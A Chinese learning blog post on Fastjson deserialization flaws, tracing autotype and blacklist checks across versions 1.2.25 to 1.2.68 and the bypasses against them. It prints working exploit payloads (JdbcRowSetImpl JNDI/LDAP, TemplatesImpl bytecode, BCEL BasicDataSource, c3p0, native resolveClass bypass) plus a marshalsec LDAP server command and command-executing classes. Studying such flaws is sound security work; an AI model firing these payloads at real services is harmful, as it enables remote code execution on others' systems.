0%

Fastjson反序列化简易入门

Fastjson反序列化简易入门

终于放暑假啦哈哈哈,放暑假后差不多先摸了一个星期的鱼,然后再开始学点东西

关于Fastjson网上能查到的东西已经非常非常多了,所以我写的肯定没那群神仙好,简单记录一下自己都在学啥,免得日后忘了

本文代码基本上也是网上抄的

简易环境搭建

fastjson的使用还挺方便的,简单demo的话添加个依赖然后两三句就能搞定
pom.xml

<dependency>
    <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
    <version>1.2.10</version>
</dependency>

随着实验更改版本

代码是抄的文末参考链接的

定义user类,并设置private和public属性,以及部分属性的setter getter
User.java

package org.z33.test;

public class User {
    private String name; //私有属性,有getter、setter方法
    private int age; //私有属性,有getter、setter方法
    private boolean flag; //私有属性,有is、setter方法
    public String sex; //公有属性,无getter、setter方法
    private String address; //私有属性,无getter、setter方法

    public User() {
        System.out.println("call User default Constructor");
    }

    public String getName() {
        System.out.println("call User getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("call User setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("call User getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("call User setAge");
        this.age = age;
    }

    public boolean isFlag() {
        System.out.println("call User isFlag");
        return flag;
    }

    public void setFlag(boolean flag) {
        System.out.println("call User setFlag");
        this.flag = flag;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", flag=" + flag +
                ", sex='" + sex + '\'' +
                ", address='" + address + '\'' +
                '}';
    }

}

test.java

package org.z33.test;

import com.alibaba.fastjson.JSON;


public class test {
    public static void main(String[] args) {
        String serializedStr = "{\"@type\":\"org.z33.test.User\",\"name\":\"z33\",\"age\":20, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
        System.out.println("serializedStr=" + serializedStr);

        System.out.println("-----------------------------------------------\n\n");
        //通过parse方法进行反序列化,返回的是一个JSONObject]
        System.out.println("JSON.parse(serializedStr):");
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
        System.out.println("parse反序列化:" + obj1);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,不指定类,返回的是一个JSONObject
        System.out.println("JSON.parseObject(serializedStr):");
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,指定为object.class
        System.out.println("JSON.parseObject(serializedStr, Object.class):");
        Object obj3 = JSON.parseObject(serializedStr, Object.class);
        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,指定为User.class
        System.out.println("JSON.parseObject(serializedStr, User.class):");
        Object obj4 = JSON.parseObject(serializedStr, User.class);
        System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
        System.out.println("parseObject反序列化:" + obj4);
        System.out.println("-----------------------------------------------\n");

    }
}

这里展示了三种主要的反序列化方法
调用prase,praseObject不指定类以及指定类

fastjson在传入一个序列化字符串时,除了类自带的基础属性,还可以携带一个名为@type的值,这个值就是fastjson攻击的关键点,在开启了autotype的情况下,fastjson会把输入字符串往@type指定的类上去解析,从而完成进一步的攻击

先来看看执行的结果吧
不带@type

serializedStr={"name":"z33","age":20, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------


JSON.parse(serializedStr):
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"flag":true,"address":"china","sex":"boy","name":"z33","age":20}
-----------------------------------------------

JSON.parseObject(serializedStr):
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"address":"china","sex":"boy","name":"z33","age":20}
-----------------------------------------------

JSON.parseObject(serializedStr, Object.class):
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"address":"china","sex":"boy","name":"z33","age":20}
-----------------------------------------------

JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:org.z33.test.User
parseObject反序列化:User{name='z33', age=20, flag=true, sex='boy', address='null'}
-----------------------------------------------

在未指定@type时,只有最后一个函数JSON.parseObject(serializedStr, User.class)在明确指定了类为User时,反序列化出来的对象为User类,且调用了类的构造函数和setter,其公有属性sex在无setter的情况下成功赋值,而私有属性address在无setter的情况下赋值失败
私有属性无setter的情况下,可以在反序列化时加上参数Feature.SupportNonPublicField进行赋值

再来看看增加了@type后的结果

serializedStr={"@type":"org.z33.test.User","name":"z33","age":20, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------


JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化对象名称:org.z33.test.User
parse反序列化:User{name='z33', age=20, flag=true, sex='boy', address='null'}
-----------------------------------------------

JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getName
call User getAge
call User isFlag
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"z33","flag":true,"age":20,"sex":"boy"}
-----------------------------------------------

JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:org.z33.test.User
parseObject反序列化:User{name='z33', age=20, flag=true, sex='boy', address='null'}
-----------------------------------------------

JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:org.z33.test.User
parseObject反序列化:User{name='z33', age=20, flag=true, sex='boy', address='null'}
-----------------------------------------------

除未指定类的parseObject外均解析至User类,且调用了默认构造函数和setter,表现均与之前未指定@type但在parseObject中指定类一致,parseObject函数在指定类后,反序列化的结果类必须是指定类或其子类,否则会抛出异常(再外面套一层就能在抛出异常前完成反序列化操作,大概是因为先实例化filed再赋值给最外层对象吧?)
而在JSON.parseObject(serializedStr)中虽然返回值为JSONObject,但还额外调用了getter函数,这是因为不指定类的parseObject其实是这样子的

    public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

就是在parse后面加了一个toJSON,而这个toJSON函数在最后又调用实例化的User对象的getter函数给JSONObject赋值

List<FieldInfo> getters = TypeUtils.computeGetters(clazz, (JSONType)clazz.getAnnotation(JSONType.class), (Map)null, false);
JSONObject json = new JSONObject(getters.size());
Iterator var5 = getters.iterator();

while(var5.hasNext()) {
    FieldInfo field = (FieldInfo)var5.next();
    value = field.get(javaObject);
    jsonValue = toJSON(value);
    json.put(field.name, jsonValue);
}

fastjson反序列化的攻击点就在反序列化时对构造函数以及setter,getter的调用,即上述任意调用方式均可能造成反序列化漏洞

各版本漏洞及补丁

1.2.25关闭autotype

更改pom.xml中的版本,代码不变,此时autotype已经被默认关闭,所以反序列化失败

整个autotype的检验就这段函数,第一个参数是类名,第二个参数是预期被反序列化的类(这个参数和1.2.68的一个关键绕过有关)

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        // 检测name是否为null
        if (typeName == null) {
            return null;
        } else {
            String className = typeName.replace('$', '.');
            // 如果开了autoType
            if (this.autoTypeSupport || expectClass != null) {
                int i;
                String deny;
                // 检测name是否在白名单中,是则直接load
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }
                // 检测类是否在黑名单中,在黑名单中抛出异常
                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }
            // 从已存在的两个map中获取class
            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }
            // 能从map中找到
            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                // 没开autotype
                if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    // 查一遍黑名单,在黑名单就抛出异常
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }
                    // 查一遍白名单,在白名单内就加载
                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            // 如果加载出来的类和预期类不一致则抛出异常
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }
                // 开了autotype,或者指定了反序列化类,直接进行加载(绝大多数都是从这进好像)
                if (this.autoTypeSupport || expectClass != null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }
                // 黑名单过滤,后续还加了Rowset以防止JNDI注入
                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }
                // 没开autotype,抛出异常
                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

具体见注释

总的来说,步骤如下
如果开了autotype,先过白名单,在白名单中直接加载,再过黑名单
然后从缓存map和默认运行反序列化的基本类中去找,找得到就看目标类和预期类是否相同,相同即加载并返回
然后如果没开autotype,就又过一遍黑名单再过一遍白名单,在白名单中就看目标类和预期类是否相同,相同即加载并返回;
最后再看一眼开没开autotype,如果开了就加载,然后检查一下类是不是继承ClassLoader,DataSource之类的危险类,以及是否与期望类一致,都过了就返回(后面补充了RowSet这个类把之前提到的JdbcRowSetImpl给干掉了)
最后对所有没开autotype的情况抛出异常

这个autotype的关闭的防御几乎是超级防御了,理论上只有白名单中的类和map中存在且不再黑名单中的类和this.deserializers中定义的基本类可以被加载
从代码里可以看到,map中类的反序列化是不受autotype影响的,TypeUtils.getClassFromMapping是设计用于优化之前加载过的类的加载的,而this.deserializers则存放了一些常用的安全类,设计用来对常用类不需要autotype也能自动加载
最后也导致这里出现了一个非常严重的反序列化漏洞

黑名单绕过和修复

起初,在checkAutoType中的安全检查中,黑名单是以字符串的形式存在的,并且检测的方式是startWith,而在紧随其后的TypeUtils.loadClass(typeName, this.defaultClassLoader);中,却又对类名进行了额外处理,来了一手字符串截取,这样子将类名前面套一个L,后面补一个;就能绕过所有的黑名单检测

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
                // 这段,绕过ClassName开头是[或者L,截取一下
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            } else {
                try {
                    if (classLoader != null) {
                        clazz = classLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var6) {
                    var6.printStackTrace();
                }

                try {
                    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                    if (contextClassLoader != null && contextClassLoader != classLoader) {
                        clazz = contextClassLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var5) {
                }

                try {
                    clazz = Class.forName(className);
                    mappings.put(className, clazz);
                    return clazz;
                } catch (Throwable var4) {
                    return clazz;
                }
            }
        } else {
            return null;
        }
    }

修复方案先是当类名以L开头,;结尾时,就把头尾的第一个字符去掉(双写就又绕了),后来又再检测了以LL开头就直接抛出异常,并且同样处理了[(但实际上如果硬塞方括号的话会因为json解析错误直接崩盘,但是在有一篇参考文章的评论区有奇怪的json能绕,可能是fastjson自己的解析问题),黑名单绕过就没得了,并且后来还将黑名单从字符串换成了hashcode,那就更没辙了,甚至都不知道黑名单的内容都是些啥
这里有一个仓库记录了黑名单hash对应的包
fastjson-blacklist
且这里的黑名单绕过是在autotype开启的情况下才能进行(略微鸡肋,还是那个map超级绕过比较牛逼)

<=1.2.47超级漏洞

看了下1.2.47的checkAutoType,就是把[L;之类的过滤变成了各种异或之类的算哈希,让人不能一眼看出来过滤了啥,黑名单也变成了算哈希,就需要暴力跑才能知道黑名单又过滤了啥了,但实际上还是和之前的逻辑一致

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() < 128 && typeName.length() >= 3) {
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            long BASIC = -3750763034362895579L;
            long PRIME = 1099511628211L;
            long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
            if (h1 == -5808493101479473382L) {
                throw new JSONException("autoType is not support. " + typeName);
            } else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                throw new JSONException("autoType is not support. " + typeName);
            } else {
                long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
                long hash;
                int i;
                if (this.autoTypeSupport || expectClass != null) {
                    hash = h3;

                    for(i = 3; i < className.length(); ++i) {
                        hash ^= (long)className.charAt(i);
                        hash *= 1099511628211L;
                        if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                            if (clazz != null) {
                                return clazz;
                            }
                        }

                        if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }
                }

                if (clazz == null) {
                    clazz = TypeUtils.getClassFromMapping(typeName);
                }

                if (clazz == null) {
                    clazz = this.deserializers.findClass(typeName);
                }

                if (clazz != null) {
                    if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    } else {
                        return clazz;
                    }
                } else {
                    if (!this.autoTypeSupport) {
                        hash = h3;

                        for(i = 3; i < className.length(); ++i) {
                            char c = className.charAt(i);
                            hash ^= (long)c;
                            hash *= 1099511628211L;
                            if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
                                throw new JSONException("autoType is not support. " + typeName);
                            }

                            if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
                                if (clazz == null) {
                                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                                }

                                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                                }

                                return clazz;
                            }
                        }
                    }

                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                    }

                    if (clazz != null) {
                        if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
                            return clazz;
                        }

                        if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }

                        if (expectClass != null) {
                            if (expectClass.isAssignableFrom(clazz)) {
                                return clazz;
                            }

                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        }

                        JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
                        if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    int mask = Feature.SupportAutoType.mask;
                    boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
                    if (!autoTypeSupport) {
                        throw new JSONException("autoType is not support. " + typeName);
                    } else {
                        return clazz;
                    }
                }
            }
        } else {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }

这回的利用点就在第一次黑白名单过去后,从缓存Map中对class的加载,所以实际的利用需要autotype关闭,在这个情况下,能把黑名单都给过掉

payload如下

{
    "a":{
        "@type":"java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/Exploit",
        "autoCommit":true
    }
}

因为解析是按顺序过来的,所以一开始进checkAutoType函数的是java.lang.Class,由于这个类属于基础类,所以可以直接在clazz = this.deserializers.findClass(typeName);中进行加载,this.deserializers在初始化的时候往里面塞了一堆基本类,这些基本类在没有autotype的情况下也能正常反序列化,而java.lang.Class就赫然在列。获取到Class类后返回到DefaultJSONParser中的parseObject,进行反序列化,进365行的obj = deserializer.deserialze(this, clazz, fieldName);,在这个函数中对传入类进行了判断,对于Class类,执行loadClass操作

if (clazz == Class.class) {
    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

而这个loadClass进重载的loadClass,额外设置一个cache为true的参数,最后来了这么一句

if (contextClassLoader != null && contextClassLoader != classLoader){
    clazz = contextClassLoader.loadClass(className);
    if (cache) {
        mappings.put(className, clazz);
    }

    return clazz;
}

这个map就是TypeUtils的map,也就是checkAutoType前面的这句

if (clazz == null) {
    clazz = TypeUtils.getClassFromMapping(typeName);
}

这里把class中value对应的类加入了这个map,接下来执行到com.sun.rowset.JdbcRowSetImpl类的时候,这个类已经在map里了,就能被直接加载并反序列化

如果开了autotype的话,反而会因为进入autotype的黑名单检测而挂掉,无法完成绕过

map理论上应该是用来给以前加载过的类进行一个缓存,这样子下次再遇到的时候就可以加速加载

<=1.2.68超级漏洞

一开始因为我太过垃圾,直接以为1.2.48之后无敌防御了,现在才知道,到1.2.68为止还是有一个全新的超级漏洞,以及这个洞也有一两年的历史了。。。

学习一下,还是看checkAutoType,和48的在整体逻辑上差别不是很大,加了一个safemode,开启safemode之后就直接关掉了反序列化这个功能
然后还加了一个expectClassFlag,这么初始化的,就是对曾经的expectClass多套了一层过滤

boolean expectClassFlag;
if (expectClass == null) {
    expectClassFlag = false;
} else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class) {
    expectClassFlag = true;
} else {
    expectClassFlag = false;
}

之前调试的时候也看到了这个expectClass的变量值,如果expectClass存在的话,会在最后autotype没开后的load处加载的类和expectClass进行对比,如果是expectClass的子类的话,就可以返回该class(如果class在黑名单里面,那开局检查黑名单的时候就直接挂了)。

rmb神仙在博客中提到,在反序列化指定类的field时,可以直接无视autotype和黑白名单以及safemode
比如这个例子

package org.z33.test;

public class TestThread {
    java.lang.Thread thread;

    public void setThread(java.lang.Thread test) {
        this.thread = test;
    }
}

这样JSON.parseObject(serializedStr, TestThread.class);是可以直接反序列化{"thread": {"@type":"java.lang.Thread"}}生成一个TestThread对象的,这个过程根本不需要进入checkAutoType进行检测
而写一个SubThread类继承Thread时,就会进入checkAutoType函数,不过会因为其是expectClass Thread类的子类而通过,黑白名单只检测传入类是否在黑名单内,而不检测expectClass是否属于黑名单类(不过rmb神仙也说了,一般来说不会有人把危险类作为某个类的参数吧,并且还要指定反序列化的是这个带有危险类field的类,并且这个时候不传@type也能直接反序列化thread类的。。)

expectClass的意义

设计思路是当你load一个类A时,如果这个类A是在白名单里或允许load的,那么再反序列化它的时候就需要把它的成员变量也给实例化出来,那如果他的参数不在白名单里就凉了,所以就可以设置一个expectClass,将允许其及其子类的反序列化,以实现基本的运行逻辑

简单翻了翻代码,在对DefaultJSONPraser中做语义分析时调用的checkAutoType中传入的expectClass都是null,只有当checkAutoType中返回了一个class后进入到JavaBeanDeserializer.deserialze方法后,解析成员变量时会对checkAutoType传expectClass

那么攻击思路也就比较清晰了,找到允许反序列化类中的成员变量是一个比较祖宗的类,比如java.lang.Object,那一切都是它的子类,就能直接通过expectClass加载到我们需要的类

所以fastjson也做了基本的防护,在后续的版本添加了这个expectClassFlag,要求expectClass不能是如上这些祖宗类

expectClass != Object.class && 
expectClass != Serializable.class && 
expectClass != Cloneable.class && 
expectClass != Closeable.class && 
expectClass != EventListener.class && 
expectClass != Iterable.class && 
expectClass != Collection.class

看一下网传的payload
{"@type":"java.lang.AutoCloseable", "@type":"org.z33.test.MyAutoCloseAble", "cmd":"calc.exe"}
这里的MyAutoCloseAble是一个实现了AutoCloseable接口的在构造函数里面直接rce的测试类,可能AutoCloseable这种接口太过祖宗,所以能直接在缓存map中找到,从而被加载。因此,就会将AutoCloseable作为expectClass进行其成员变量的加载,而MyAutoCloseAble实现了AutoCloseable,能够通过checkAutoType,在反序列化时执行构造函数完成rce

关于expectClass的一点思考

因为调试比较老版本的fastjson时根本没有在checkAutoType中看见这个expectClassFlag,还以为这个是在47-68中的某个版本加上去的,如果是这样子的话,那么这段版本中就应该存在可以直接反序列化Object这类祖宗类子类的漏洞
先写一个拿Object做filed的类

package org.z33.test;

public class TestObject {
    Object object;

    public void setObject(Object object) {
        this.object = object;
    }
}

再随便反序列化一个类
{"object":{"@type": "org.z33.test.SubThread"}}
然后我直接调试了一下47,发现在一开始整个解析流程就不对了,再进了一个ASMxx的代码段之后没法跟进看代码,在这个里面就走上了完全不同的道路。。。。
但是就目前我的浅陋测试代码而言,似乎在加载Object对象时不会简单的让人如愿,但是为什么呢,我也试不出来,有人知道务必教教我呜呜

对于更高版本的防护,当然是在68中添加了额外的expectClass黑名单,包括了之前说到的java.lang.AutoCloseable以及java.lang.Readable java.lang.Runnable

实际利用的话,就要找AutoCloseable这个类的子类都有哪些能利用了,在今年的blackhat USA上有一系列的披露,从mysql jdbc连数据库的反序列化RCE,到common io的任意文件读,还有一些结合第三方库的任意文件写
关于blackhat2021披露的fastjson1.2.68链

也许对于目标环境,如果其本身指定了反序列化类的话,看看其field有没有可利用的类然后进行现场挖掘?

漏洞复现

就抄几个最常见的payload

java.net.Inet6Address

经典URLDNS探测是否存在漏洞以及是否能够出网,并且由于这个类的超级普适性,在任何版本下都是可以直接利用的,大概原因可能是FastJson初始化的时候直接塞到了缓存map或者deserialize中?

{"@type":"java.net.Inet6Address","val":"dnslog.cn"
还有一个和它名字差不多的类,叫java.net.InetAddress,少个6,这个类在48版本中被加入了黑名单(看别人说的),因此可以用上述两个类对fastjson漏洞的存在和版本进行探测
小于48刚好用Class加载类进缓存map一键打通

com.sun.rowset.JdbcRowSetImpl

靠JNDI注入远程打的,没本地依赖限制,连上我的服务器返回一个恶意类在加载时就搞定

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String serializedStr = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://127.0.0.1:10000/Test\",\"autoCommit\": true}";
Object obj = JSON.parseObject(serializedStr);

高版本jdk因为防了一手JNDI注入,所以需要加上前面那一句去信任远程codebase,才能加载服务器上的reference对象,所以高版本jdk默认情况不是很打得通
不然就超级报错
LDAP server是网上找的工具,以如下命令启动
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps/#Test 10000
写一个Test.java,放一个static段,在加载时就跑起来

import java.io.IOException;

public class Test {
    static {
        Runtime runtime = Runtime.getRuntime();
        try {
            runtime.exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
    public static void main(String[] args) {
    }
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

也不需要本地依赖,攻击方式是直接加载我们写好的bytecode但是由于这个类的_bytecodes、_tfactory、_name、_outputProperties、_class这堆私有属性均没有setter函数,所以要额外开一个Feature.SupportNonPublicField,非常鸡肋

还要预先准备好一个垃圾类,也是在静态段里面写恶意代码,但需要继承AbstractTranslet这个接口,编译好之后用base64编码放在bytecode属性处,用getOutputProperties函数触发(说起来之前实验是只有不指定类的parseObject在toJSON那会调用所有getter,但是这里似乎啥情况都能调用,是因为多套了一层吗?
getOutputProperties来触发

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }


    public static void main(String[] args) throws Exception {

    }
}

抄的payload

        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String payload = "{'rand1':{" +
                "\"@type\":\"" + NASTY_CLASS + "\"," +
                "\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
                "'_name':'aaa'," +
                "'_tfactory':{}," +
                "'_outputProperties':{}" +
                "}}\n";

org.apache.tomcat.dbcp.dbcp.BasicDataSource

Tomcat 8.0后该类路径为org.apache.tomcat.dbcp.dbcp2.BasicDataSource

更新第三个payload,今天新学的BCEL Classloader,这个类和templateImpl有点像,均可以直接从字符串中还原字节码进行加载,但其相比于templateImpl而言所有需要可控的属性均为public的,因此利用条件会简单一些

然而,用于触发的这个类不知道会不会自带,不过应该提供了web服务就会带上tomcat的依赖吧(猜的)

p神也提到过BCEL Classloader,不过似乎在Jdk 8u251中已经移除了该Classloader
BCEL ClassLoader去哪了

但是我试了一下本地的jdk,在openjdk的8u292下,BCEL Classloader仍然存在,不过对于Oracle的jdk而言,确实没了

调用链为

BasicDataSource.getConnection()
    BasicDataSource.createDataSource()
        BasicDataSource.createConnectionFactory()

而在createConnectionFactory函数中,调用了Class.forName(driverClassName, true, driverClassLoader),这里就用上了我们一开始提到的这个BCEL Classloader,这个classloader重写了loadClass方法,会检查一下类名是不是以$$BCEL$$开头,如果是的话,就直接从类名中还原类的字节码。因此,还是照例写一个恶意类,在static段执行命令,然后把编译出来的.class文件使用com.sun.org.apache.bcel.internal.classfile.Utility的encode方法编码,作为payload,在BCEL Classloader加载时即可触发

这里贴一个poc

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

除BCEL classloader外又一强力利用,可以触发二次反序列化走原生反序列化,且不出网利用。更厉害的是本身配合fastjson原生反序列化走templatesImpl,不需要额外依赖。

具体流程就不分析了,见文末参考链接,简单的结论就是和bcel classloader类似,可以将一个字符串属性反序列化,payload如下

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    },
    "b": {
        "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
        "userOverridesAsString": "HexAsciiSerializedMap:<hex string>;"
    }
}

而fastjson本身也存在原生反序列化gadget,JSONArray的toString方法可以触发getter,然后走到经典templatesImpl。toString的触发可以使用BadAttributeValueException去做。

不过好景不长,fastjson的原生反序列化在1.2.49版本后添加了resolveClass,对需要反序列化的内容进行了一个checkAutoType。不过c3p0的利用本来就只能在47用咯,所以如果是c3p0到原生反序列化不出网RCE倒是没有影响。

fastjson原生反序列化resolveClass绕过

一个很有想法的想法。

前置知识是,反序列化在readObject时,会对对象类型进行判断,如果是reference类型,就不会去resolveClass。而Reference类型对象的创建方法,就是在序列化时将同一个对象写入流两次,第二次的对象就会变为一个reference对象。

进行反序列化时,每个对象会调用各自的readObject方法,所以fastjson就实现了自己的readObject方法,并在里面实现了一个SecureObjectInputStream,并实现了resolveClass,对传入的类名进行一个checkAutoType。

然而,在具体的反序列化流程中,一开始的入口点肯定不会是fastjson的SecureObjectInputStream,这就使得我们可以在外层的对象中先写入无法通过checkAutoType的对象,到fastjson去读取对象时,读取到的是reference对象,不会触发其自定义的resolveClass,实现了对黑名单的绕过。

样例payload如下

        ArrayList<Object> list = new ArrayList<>();
        Templates templates = Utils.getTemplate(command);
        list.add(templates);
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);
        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        Field val = exception.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(exception, jsonArray);
        list.add(exception);
        return list;

使用fastjson绕过原生反序列化黑名单

反过来,在原生反序列化存在黑名单的情况,也可以通过fastjson这种自定义了resolveClass的方法去绕过。readObject时,优先触发内层ObjectInputStream的resolveClass方法,像fastjson这样的黑名单和常规反序列化黑名单对不上的,直接走fastjson的ObjectInputStream即可绕过。(不过听说后来fastjson也加了一些奇怪的黑名单,比如signedObject这种fastjson反序列化根本不可能利用的类)

简单来说,对于存在fastjson原生反序列化的场景,就是原生反序列化黑名单和fastjson原生反序列化黑名单可以两个选一个用。如果是需要经过里层的fastjson作为gadget,就可以用外层原生去做reference,如果本身有其他的gadget但是有黑名单,就可以直接走fastjson内部的不怎么影响原生反序列化的readObject黑名单。

一些相关思考

payload的构造

考虑如何在反序列化时在已经指定了反序列化类的情况下反序列化我们自己的payload类
